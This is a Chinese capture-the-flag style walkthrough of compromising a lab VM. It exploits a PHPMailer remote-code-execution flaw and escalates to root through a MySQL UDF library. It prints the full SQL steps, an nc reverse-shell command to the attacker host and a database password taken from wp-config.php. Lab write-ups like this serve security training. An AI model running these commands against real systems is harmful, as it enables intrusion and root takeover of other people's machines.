目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Getshell
3、提权
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.119.129)
靶 机:3.16.0-6-amd64(192.168.119.128)
2、使用工具/软件
Kali: arp-scan(主机发现)、nmap(端口和服务扫描)、gobuster(扫描web目录)、nc(监听反弹shell)、searchspoilt(查找漏洞利用exp)、gcc(编译exp)
测试网址:http://192.168.119.128/
二、测试目的
利用phpmailer漏洞getshell,通过root权限的mysql进行提权,获取root权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
可以看到靶机IP:192.168.119.128
端口和服务探测
nmap -sT -A -p- -T4 192.168.119.128
开启了22端口(ssh服务)、80端口(web服务)
目录扫描
gobuster dir -u http://192.168.119.128 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
扫到了wordpress目录和很多文件目录
2、Getshell
在/vendor/PATH目录发现了flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在vendor目录发现PHPMailerAutoload.php
Phpmailer是php用来发送邮件的一个组件,该组件存在历史漏洞
使用的是RCE漏洞(编号:CVE-2016-10033)
searchsploit phpmailer
查找phpmailer历史漏洞exp,发现有很多
选择40974.py的漏洞exp,但是有几处需要手动修改,先将exp文件复制一份出来修改
searchsploit -p php/webapps/40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py 40974.py
vim 40974.py
需要修改的地方:开头加上utf-8编码;目标地址改一下,利用点在contact.php目录;监听地址(攻击机)IP和监听端口改一下;根目录也要改;有需要的话木马名字也可以改一下。
修改完成保存并退出
需要安装两个库,然后运行
pip install requests_toolbelt
pip install lxml
python 40974.py
运行完毕后开启监听,网页访问contact文件后再访问shell文件,即可获取shell
获取交互式shell
SHELL=/bin/bash script -q /dev/null
3、提权
在wordpress中看配置文件有发现,在wp-config.php文件中发现了数据库root用户的密码
root/R@v3nSecurity
尝试udf提权,查找自定义函数,发现没有调用系统命令的函数,需要手动配置
use mysql;
select * from func;
查看mysql版本5.5.6
查看udf提权exp
searchsploit mysql udf
使用第二个exp
复制一份exp出来使用
searchsploit -p linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c 1518.c
直接进行编译,编译成so文件
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
将so文件上传到靶机
wget 192.168.119.129:8888/raptor_udf2.so
查看plugin路径
show variables like "%plugin%";
按步骤利用代码,执行命令时采用nc连接,反弹到攻击机kali上
use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('nc -e /bin/bash 192.168.119.129 4444');
攻击机kali开启监听即可监听到root权限的shell
四、结论
通过phpmailer的历史漏洞获取了shell,通过mysql udf的漏洞exp构造链接库文件上传靶机进行udf提权。